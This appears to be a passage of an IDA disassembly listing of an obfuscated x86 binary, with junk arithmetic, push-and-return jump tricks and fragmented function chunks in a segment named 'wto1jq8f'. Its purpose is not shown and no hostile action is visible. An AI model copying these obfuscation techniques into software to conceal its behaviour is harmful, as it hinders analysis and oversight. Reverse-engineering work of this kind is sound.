; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED32


loc_4274D6:				; CODE XREF: sub_42ED32-6587j
		or	ebx, esi


loc_4274D8:				; CODE XREF: sub_42ED32:loc_42F44Dj
		push	1
		lea	eax, [ebp-800h]
		call	sub_42FACF
; END OF FUNCTION CHUNK	FOR sub_42ED32
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_4274E5:				; CODE XREF: sub_426E98-2D73j
		jmp	nullsub_116
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D71D


loc_4274EA:				; CODE XREF: sub_42D71D:loc_429060j
		add	eax, 0D40F2279h
		or	ebx, eax
		pop	eax
		sbb	eax, 0FAB7254Bh
		mov	ecx, 0B6F8F93Fh
		mov	edx, 934BB54Ch
		sub	eax, ecx
		jmp	loc_42CF99
; END OF FUNCTION CHUNK	FOR sub_42D71D

; =============== S U B	R O U T	I N E =======================================



sub_42750A	proc near		; CODE XREF: wto1jq8f:00424A46p
					; wto1jq8f:0042CD76j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004246A4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426849 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 004268DA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00427335 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00427CF5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428014 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004298CC SIZE 00000015 BYTES

		xchg	ecx, [esp+0]
		mov	ecx, [esp+0]
		mov	esp, ebp
		mov	ebp, offset loc_42751B
		xchg	ebp, [esp+0]
		retn
; ---------------------------------------------------------------------------


loc_42751B:				; DATA XREF: sub_42750A+8o
		push	4C77F9BFh
		jmp	loc_428014
sub_42750A	endp

; ---------------------------------------------------------------------------


loc_427525:				; DATA XREF: wto1jq8f:loc_429DBBo
		mov	eax, [ebp-8]
		call	sub_42F59F
; START	OF FUNCTION CHUNK FOR sub_42F2C7


loc_42752D:				; CODE XREF: sub_42F2C7:loc_426821j
					; wto1jq8f:loc_426E84j
		test	edi, 0F5A872BDh
		jmp	loc_425B31
; END OF FUNCTION CHUNK	FOR sub_42F2C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D434


loc_427538:				; CODE XREF: sub_42D434-8B1j
		add	eax, 0FFA8A3A4h
		mov	eax, [eax]
		xchg	eax, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_42D434
; ---------------------------------------------------------------------------
		test	ecx, esi
		jmp	loc_424E08
; ---------------------------------------------------------------------------


loc_42754B:				; DATA XREF: sub_42DC5C-5CA4o
		push	686F651h
		pop	edx
		rol	edx, 16h
		jb	loc_42AF27
; START	OF FUNCTION CHUNK FOR sub_424F7A


loc_42755A:				; CODE XREF: sub_424F7A+4j
					; sub_42727F+6902j
		jmp	loc_42D91B
; END OF FUNCTION CHUNK	FOR sub_424F7A
; ---------------------------------------------------------------------------
		add	edi, eax
		push	89F9AB5Fh
		adc	edi, ebx
		jmp	loc_42AF27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C0D7


loc_42756D:				; CODE XREF: sub_42C0D7:loc_42C982j
		push	ecx
		mov	esp, ebp
		xchg	esi, [esp+0]
		mov	ebp, esi
		pop	esi
		jmp	loc_42A4CC
; END OF FUNCTION CHUNK	FOR sub_42C0D7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_173. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D53B


loc_42757C:				; CODE XREF: wto1jq8f:00428F27j
					; sub_42D53B+Bj
		jmp	loc_42C1BF
; END OF FUNCTION CHUNK	FOR sub_42D53B
; ---------------------------------------------------------------------------


loc_427581:				; CODE XREF: wto1jq8f:0042BEB5j
		push	edx
		push	0F2CE58A4h
		pop	edx
		and	edx, 0C5E04EDEh
		xor	edx, 71E0FB0Ch
		add	edx, 4F21EA1Dh
		xchg	edx, [esp]
		jmp	loc_425964
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_4275A3:				; CODE XREF: sub_42A909-9D6j
		call	sub_42CB36
		test	al, al
		jz	loc_42E71D
		jmp	loc_4285D5
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
		adc	edi, edx
		jmp	loc_42A8EC
; ---------------------------------------------------------------------------


loc_4275BC:				; DATA XREF: sub_42DBA6-537Bo
		mov	ecx, offset loc_4275C5
		xchg	ecx, [esp]
		retn
; ---------------------------------------------------------------------------


loc_4275C5:				; DATA XREF: wto1jq8f:loc_4275BCo
		xor	eax, eax
		jmp	loc_42D83F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_4275CC:				; CODE XREF: sub_426968-1D99j
		jz	loc_4275E2
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F7h
		jnz	loc_42D6FF


loc_4275E2:				; CODE XREF: sub_424BAC:loc_4262ABj
					; sub_426968:loc_4275CCj ...
		jnz	loc_426121
		mov	eax, [ebp+8]
		call	sub_42A617


loc_4275F0:				; CODE XREF: sub_42BC9B+13j
		jmp	loc_428B9A
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424BF9


loc_4275F5:				; CODE XREF: sub_424BF9+7j
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_42DB08
		or	eax, eax
		jnz	loc_42CE55
		jmp	loc_4268C1
; END OF FUNCTION CHUNK	FOR sub_424BF9
; ---------------------------------------------------------------------------


loc_42760D:				; CODE XREF: wto1jq8f:00429CFDj
		not	edx

; =============== S U B	R O U T	I N E =======================================



sub_42760F	proc near		; CODE XREF: sub_42C423:loc_42E44Ap

; FUNCTION CHUNK AT 004249AC SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00425D9D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00427772 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A734 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A7C4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042CA4A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042D11B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D48C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042D900 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042DCDF SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0042DEDC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042F2BD SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [ebp-1Ch]
		cmp	byte ptr [eax],	0
		jmp	loc_4249AC
sub_42760F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42761E:				; CODE XREF: wto1jq8f:0042479Bj
		jle	loc_426511
		jl	loc_42D2F9
		and	edi, 8EA7CCA2h


loc_427630:				; CODE XREF: wto1jq8f:loc_428631j
		mov	eax, [ebp-0Ch]
		mov	ds:dword_42F1E0, eax
		mov	eax, [ebp-0Ch]
		mov	ecx, 3F1h
		xor	edx, edx
		jmp	loc_429561
; ---------------------------------------------------------------------------
		adc	ebx, 870BF7Dh
; START	OF FUNCTION CHUNK FOR sub_42970D


loc_42764D:				; CODE XREF: sub_42970D:loc_42C345j
		jmp	sub_42FC41
; END OF FUNCTION CHUNK	FOR sub_42970D

; =============== S U B	R O U T	I N E =======================================



sub_427652	proc near		; DATA XREF: sub_42C93C:loc_42FBABo

; FUNCTION CHUNK AT 0042FBA6 SIZE 00000005 BYTES

		add	edx, 0DACFF961h
		xchg	edx, [esp+0]
		jmp	loc_42FBA6
sub_427652	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426313


loc_427660:				; CODE XREF: sub_426313+6j
		pop	ebp
		mov	eax, ds:dword_42E528
		or	eax, eax
		jnz	loc_428BDF
		jmp	loc_429160
; END OF FUNCTION CHUNK	FOR sub_426313

; =============== S U B	R O U T	I N E =======================================



sub_427674	proc near		; CODE XREF: wto1jq8f:004259F4j
					; sub_4241AD+BA48p

; FUNCTION CHUNK AT 004263CB SIZE 0000000B BYTES

		mov	[esp+0], ebx
		pop	ebx
		add	ecx, ebp
		add	ecx, 0C6896F55h
		mov	[ecx], eax
		pop	ecx
		mov	eax, [ebp-4]
		jmp	loc_4263CB
sub_427674	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		rol	edi, 0Ch
		jmp	loc_42EEAE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_427694	proc near		; DATA XREF: sub_42B10Ao
		push	ebp
		push	offset sub_429D2E
		jmp	nullsub_52
sub_427694	endp

; ---------------------------------------------------------------------------


loc_42769F:				; CODE XREF: wto1jq8f:00429806j
		add	eax, 0B650C109h
		mov	eax, [eax]
		call	sub_42D2BB
		test	eax, edx
		jmp	loc_4296D1
; ---------------------------------------------------------------------------
		test	eax, eax
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_4276B5:				; CODE XREF: sub_42C486+33B8j
		jz	loc_425BE9
		jmp	loc_42A1C2
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------


loc_4276C0:				; CODE XREF: wto1jq8f:0042B4DBj
					; wto1jq8f:0042F293j
		shl	edx, 9

; =============== S U B	R O U T	I N E =======================================



sub_4276C3	proc near		; CODE XREF: sub_42CEBE+8p

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 00427426 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004278A0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00428897 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042E2F5 SIZE 0000000A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	0
		push	0
		push	0
		push	7510537Ah
		jmp	loc_427426
sub_4276C3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	edx, 0B5AE1D59h
		jmp	loc_42F770
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	loc_42975C
		mov	byte ptr [ebp-806h], 0
		call	sub_42A5D5
; START	OF FUNCTION CHUNK FOR sub_428AC6


loc_4276F6:				; CODE XREF: sub_428AC6+4EBj
		jmp	nullsub_198
; END OF FUNCTION CHUNK	FOR sub_428AC6
; ---------------------------------------------------------------------------

locret_4276FB:				; CODE XREF: wto1jq8f:0042CC39j
		retn
; ---------------------------------------------------------------------------


loc_4276FC:				; CODE XREF: wto1jq8f:00424990j
		and	edi, 6B818528h
		or	edi, ds:4000F8h
		add	edi, 8426B14Ch
		push	offset sub_42F8A7
		jmp	loc_42612E
; ---------------------------------------------------------------------------


loc_427718:				; CODE XREF: wto1jq8f:loc_429852j
		add	ebx, 79BC6AA4h
		call	sub_429BA6
; START	OF FUNCTION CHUNK FOR sub_42BB8A


loc_427723:				; CODE XREF: sub_42BB8A+Cj
		jmp	loc_4264A3
; END OF FUNCTION CHUNK	FOR sub_42BB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428D47


loc_427728:				; CODE XREF: sub_428D47:loc_425A3Bj
		mov	ecx, 3FDh
		xor	edx, edx
		div	ecx
		mov	[ebp-20h], edx
		push	9B54B815h
		pop	ecx
		jmp	loc_42A827
; END OF FUNCTION CHUNK	FOR sub_428D47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F50F


loc_42773F:				; CODE XREF: sub_42F50F:loc_42908Cj
		push	0E39B270Fh
		pop	edi
		xor	edi, 9636E219h
		add	eax, edi
		jmp	loc_42F5B3
; END OF FUNCTION CHUNK	FOR sub_42F50F

; =============== S U B	R O U T	I N E =======================================



sub_427752	proc near		; DATA XREF: sub_426E98:loc_426F4Co

; FUNCTION CHUNK AT 0042B621 SIZE 0000001B BYTES

		push	2EEA93DAh
		adc	ecx, 7E18CF79h
		jmp	loc_42B621
sub_427752	endp

; ---------------------------------------------------------------------------


loc_427762:				; DATA XREF: sub_428310:loc_4282F4o
		jmp	loc_424817
; ---------------------------------------------------------------------------
		jmp	loc_42816A

; =============== S U B	R O U T	I N E =======================================



sub_42776C	proc near		; CODE XREF: sub_42A6CD:loc_42CCE8j
					; wto1jq8f:loc_42EB19p
		push	ebp
		call	sub_428295
sub_42776C	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42760F


loc_427772:				; CODE XREF: sub_42760F-2C3Ej
		jmp	loc_42DCDF
; END OF FUNCTION CHUNK	FOR sub_42760F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A88D


loc_427777:				; CODE XREF: sub_42A88D:loc_429BE7j
		jz	loc_42B2DE
		jmp	loc_427421
; END OF FUNCTION CHUNK	FOR sub_42A88D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_427782:				; CODE XREF: sub_42E9E8:loc_42D94Ej
		xchg	edx, [esp+8+var_8]
		push	edx
		push	ebx
		push	eax


loc_427788:				; CODE XREF: wto1jq8f:loc_42BC33j
		jmp	loc_42CECC
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425CE2


loc_42778D:				; CODE XREF: sub_425CE2+359Aj
					; sub_4260A9+37BAj
		push	offset loc_42A7A2
; END OF FUNCTION CHUNK	FOR sub_425CE2
; START	OF FUNCTION CHUNK FOR sub_42655A


loc_427792:				; CODE XREF: sub_42655A:loc_429EABj
		jmp	nullsub_80
; END OF FUNCTION CHUNK	FOR sub_42655A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_65. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_427798	proc near		; DATA XREF: sub_42FC85-67C8o
		xor	eax, eax
		mov	[ebp-8], eax
sub_427798	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_426968


loc_42779D:				; CODE XREF: sub_426968:loc_42AB0Ej
		jns	loc_42B5BE
		mov	eax, [ebp-0Ch]


loc_4277A6:				; CODE XREF: sub_42F6A9:loc_42A10Fj
		cmp	byte ptr [eax],	0
		jnz	loc_42ED27
		jmp	loc_42FB2A
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426144


loc_4277B4:				; CODE XREF: sub_426144+3552j
		or	esi, edx
		xchg	edx, [ebp+0]
		jmp	loc_42F8FF
; END OF FUNCTION CHUNK	FOR sub_426144
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_4277BE:				; CODE XREF: sub_42E9E8-1BD1j
		adc	edx, 87658B68h
		jz	loc_42C080
		shl	ecx, 16h
		push	0E3D3182h


loc_4277D2:				; CODE XREF: sub_42E9E8:loc_42AC6Dj
		lea	eax, [ebp-2BBh]
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_4265DB
		jmp	loc_4294D2
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D789


loc_4277E9:				; CODE XREF: sub_42D789-1ED9j
		jz	loc_42A34D
		jmp	loc_426422
; END OF FUNCTION CHUNK	FOR sub_42D789
; ---------------------------------------------------------------------------

locret_4277F4:				; CODE XREF: wto1jq8f:loc_42A70Dj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DA92


loc_4277F5:				; CODE XREF: sub_42DA92+7j
		jmp	loc_4270A6
; END OF FUNCTION CHUNK	FOR sub_42DA92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_4277FA:				; CODE XREF: sub_426535-1BF1j
		jmp	loc_42D473
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_4277FF:				; CODE XREF: sub_42E9E8-5DF9j
		add	eax, 0AAC4EDD7h
		xor	eax, 149EA320h
		add	eax, ebp
		add	eax, 5E2E6029h
		jmp	loc_4297C8
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_42975C
		call	sub_427F4E
		test	al, al
		jz	loc_42975C
		jmp	loc_42ED37
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_427834:				; CODE XREF: wto1jq8f:0042B734j
		xchg	ecx, ebp
		push	offset sub_42DBA6
		jmp	locret_42CC5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F7A


loc_427840:				; CODE XREF: sub_424F7A+89B2j
		jz	loc_42D3EE
		jmp	loc_42D093
; END OF FUNCTION CHUNK	FOR sub_424F7A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424585


loc_42784C:				; CODE XREF: sub_424585+11j
		jmp	loc_42A07D
; END OF FUNCTION CHUNK	FOR sub_424585
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425DF0


loc_427851:				; CODE XREF: sub_425DF0:loc_425DF7j
		cmp	dword ptr [eax], 0FFFFFFFFh
		push	offset loc_428CAB
		jmp	nullsub_20
; END OF FUNCTION CHUNK	FOR sub_425DF0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C1EE


loc_42785E:				; CODE XREF: sub_42C1EE:loc_42EFCAj
		and	eax, 0C9E693BAh
		add	eax, 0F7809871h
		popf
		xchg	eax, [esp+0]
		jmp	sub_429165
; END OF FUNCTION CHUNK	FOR sub_42C1EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA8E


loc_427873:				; CODE XREF: sub_42AA8E-10CAj
					; sub_42AA8E-10B6j
		add	edx, 80713783h
		mov	edx, [edx]
		call	sub_42CDD5
; END OF FUNCTION CHUNK	FOR sub_42AA8E
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_427880:				; CODE XREF: sub_42C486+A33j
		jo	loc_424487


loc_427886:				; CODE XREF: sub_42669E:loc_426133j
		or	esi, ebx
		or	ebx, eax


loc_42788A:				; CODE XREF: sub_42C486:loc_42CEADj
		sub	ecx, 0D8AF123Ch
		add	ecx, 77167734h
		mov	ecx, [ecx]


loc_427898:				; CODE XREF: sub_42D9FC:loc_42EB65j
		or	[ecx+edx], al
		jmp	loc_42BBB9
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4276C3


loc_4278A0:				; CODE XREF: sub_4276C3:loc_427426j
					; sub_42AA68:loc_42A479j
		add	[esp+0Ch+var_C], 8AEFAC86h
		push	0
		push	1
		lea	eax, [ebp-806h]
		xchg	eax, ebx
		push	ebx
		xchg	eax, ebx
		jmp	loc_428897
; END OF FUNCTION CHUNK	FOR sub_4276C3
; ---------------------------------------------------------------------------


loc_4278BB:				; CODE XREF: wto1jq8f:00425E85j
		xor	ebx, edx

; =============== S U B	R O U T	I N E =======================================



sub_4278BD	proc near		; CODE XREF: sub_424B70+4p
		mov	[esp+0], edi
		pop	edi
		mov	ebp, esp
		push	edi
		mov	edi, ecx
		jmp	loc_42C24C
sub_4278BD	endp

; ---------------------------------------------------------------------------

locret_4278CB:				; CODE XREF: wto1jq8f:0042B9E6j
		retn
; ---------------------------------------------------------------------------


loc_4278CC:				; DATA XREF: sub_42E961-2384o
		add	eax, edx
		mov	eax, [eax]
		add	eax, [ebp-4]
		mov	[ebp-0Ch], eax
; START	OF FUNCTION CHUNK FOR sub_426350


loc_4278D6:				; CODE XREF: sub_425C0D+2j
					; sub_426C04+246j ...
		mov	eax, [ebp-0Ch]
		mov	esp, ebp
		jmp	loc_42FC72
; END OF FUNCTION CHUNK	FOR sub_426350
; ---------------------------------------------------------------------------
		sbb	ebx, 34A1B2D6h
		jmp	sub_42DF3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4281DD


loc_4278EB:				; CODE XREF: sub_4281DD:loc_4281EBj
		mov	esi, offset loc_4278FE
		xchg	esi, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_4281DD
; ---------------------------------------------------------------------------


loc_4278F4:				; CODE XREF: wto1jq8f:0042F0E3j
		jmp	nullsub_146
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F2C7


loc_4278F9:				; CODE XREF: sub_42F2C7-33A9j
		jmp	loc_42CAA2
; END OF FUNCTION CHUNK	FOR sub_42F2C7
; ---------------------------------------------------------------------------


loc_4278FE:				; DATA XREF: sub_4281DD:loc_4278EBo
		pop	eax
		jmp	loc_4271E7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_140. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_179. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4283CC


loc_427906:				; CODE XREF: sub_4283CC+Bj
		jmp	loc_42EF0E
; END OF FUNCTION CHUNK	FOR sub_4283CC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_58. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F50F


loc_42790C:				; CODE XREF: sub_42F50F+22j
		jmp	loc_424AEC
; END OF FUNCTION CHUNK	FOR sub_42F50F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_427911:				; CODE XREF: sub_42506F+6CADj
		jmp	nullsub_98
; END OF FUNCTION CHUNK	FOR sub_42506F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A8ED


loc_427916:				; CODE XREF: sub_42A8ED+17j
		jmp	loc_42D376
; END OF FUNCTION CHUNK	FOR sub_42A8ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42704E


loc_42791B:				; CODE XREF: sub_42704E+4j
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_42ACE4
		or	eax, eax
		jnz	loc_42B105
		call	sub_4242D6
		push	offset loc_42F0CF
		jmp	nullsub_33
; END OF FUNCTION CHUNK	FOR sub_42704E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424BD4


loc_42793B:				; CODE XREF: wto1jq8f:loc_428254j
					; sub_424BD4+39A6j
		mov	edx, [ebp+8]
		push	offset sub_426750
		jmp	nullsub_125
; END OF FUNCTION CHUNK	FOR sub_424BD4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_104. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DEFF


loc_427949:				; CODE XREF: sub_42DEFF-17ABj
		jmp	loc_42CAAC
; END OF FUNCTION CHUNK	FOR sub_42DEFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CB36


loc_42794E:				; CODE XREF: sub_42CB36-34CEj
		jmp	loc_42E858
; END OF FUNCTION CHUNK	FOR sub_42CB36
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_429BD1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_427959:				; CODE XREF: sub_42C486:loc_42DBF4j
		pop	ecx
		and	ecx, 2FA1F21h
		xor	ecx, 7F5F4434h
		add	ecx, 0BD9BF49Bh
		add	ecx, ebp
		add	ecx, 0C2EEB23Ch
		mov	ecx, [ecx]
		jmp	loc_42DEAE
; END OF FUNCTION CHUNK	FOR sub_42C486
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_250. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B3E


loc_42797C:				; CODE XREF: sub_428B3E+4997j
		jmp	loc_42C333
; END OF FUNCTION CHUNK	FOR sub_428B3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_427981:				; CODE XREF: sub_42C486-21BAj
		jmp	loc_428807
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F072


loc_427986:				; CODE XREF: sub_42F072:loc_4267E1j
		mov	eax, [ebp-20h]
; END OF FUNCTION CHUNK	FOR sub_42F072
; START	OF FUNCTION CHUNK FOR sub_42F50F


loc_427989:				; CODE XREF: sub_42F50F-5622j
		call	sub_42FFDE
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_4250E0
; END OF FUNCTION CHUNK	FOR sub_42F50F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426806


loc_427997:				; CODE XREF: sub_426806:loc_42EE9Aj
		test	byte ptr [ebp-8], 2
		jmp	loc_425E30
; END OF FUNCTION CHUNK	FOR sub_426806
; ---------------------------------------------------------------------------
		push	8F5B025Ah
		pop	edx
		xor	edx, 8B6224A0h
		rol	edx, 0Bh
		xor	edx, 175B25A1h
		call	sub_429165
		push	eax
		rol	eax, 0Bh
		jmp	loc_42F3B6
; ---------------------------------------------------------------------------
		ror	ebx, 6
		pushf
		jmp	sub_424F6A
; ---------------------------------------------------------------------------


loc_4279CC:				; CODE XREF: wto1jq8f:004289C2j
		ror	ebx, 5
		shr	edx, 0Bh
; START	OF FUNCTION CHUNK FOR sub_4262CE


loc_4279D2:				; CODE XREF: wto1jq8f:00425E9Dj
					; wto1jq8f:loc_42AE39j	...
		mov	eax, 6F7h
		push	ecx
		push	97812A24h
		jmp	loc_42817E
; END OF FUNCTION CHUNK	FOR sub_4262CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A30


loc_4279E2:				; CODE XREF: sub_427A30+8j
		xor	eax, ds:4000F7h
		test	eax, 80000h
		jmp	loc_42633B
; END OF FUNCTION CHUNK	FOR sub_427A30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_4279F3:				; CODE XREF: sub_42C486:loc_42AB3Aj
					; sub_426842+96FAj
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	eax, 50h
		call	sub_428183
		jmp	loc_42955C
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_427A0C:				; CODE XREF: sub_426E98:loc_42B215j
		mov	ds:dword_42E538, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------


loc_427A13:				; CODE XREF: wto1jq8f:004242B6j
		jmp	locret_427036
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427D82


loc_427A18:				; CODE XREF: sub_427D82-23BEj
		ror	eax, 0Eh
		call	sub_4274BE


loc_427A20:				; CODE XREF: sub_42E83D-2227j
		jmp	nullsub_22
; END OF FUNCTION CHUNK	FOR sub_427D82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C0DF


loc_427A25:				; CODE XREF: sub_42C0DF+Cj
		jmp	loc_42F9DC
; END OF FUNCTION CHUNK	FOR sub_42C0DF
; ---------------------------------------------------------------------------

locret_427A2A:				; CODE XREF: wto1jq8f:loc_42C5B6j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FE77


loc_427A2B:				; CODE XREF: sub_42FE77-F3Aj
		jmp	loc_426508
; END OF FUNCTION CHUNK	FOR sub_42FE77

; =============== S U B	R O U T	I N E =======================================



sub_427A30	proc near		; DATA XREF: sub_426E98-2D78o

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0042633B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427412 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004279E2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042AF4C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042EEDF SIZE 00000008 BYTES

		push	eax
		push	eax
		push	57BA150Eh
		pop	eax
		jmp	loc_4279E2
sub_427A30	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F50F


loc_427A3D:				; CODE XREF: sub_42F50F:loc_42F5B3j
		pop	edi
		mov	eax, [eax]
		xor	edx, edx
		div	dword ptr [ebp-8]
		mov	[ebp-0Ch], edx
		jmp	loc_4267C4
; END OF FUNCTION CHUNK	FOR sub_42F50F
; ---------------------------------------------------------------------------


loc_427A4D:				; CODE XREF: wto1jq8f:004262C9j
		ja	loc_42DF03

; =============== S U B	R O U T	I N E =======================================



sub_427A53	proc near		; CODE XREF: sub_42CBD1-43D9p

; FUNCTION CHUNK AT 00424AD5 SIZE 00000005 BYTES

		mov	[esp+0], ecx
		pop	ecx
		mov	[ebx], eax
		pop	ebx
		jmp	loc_424AD5
sub_427A53	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F575


loc_427A5F:				; CODE XREF: sub_42F575:loc_429E4Fj
		xor	esi, 74AD3C9Eh
		add	esi, 65164B68h
		mov	[esi], eax
		pop	esi
		retn
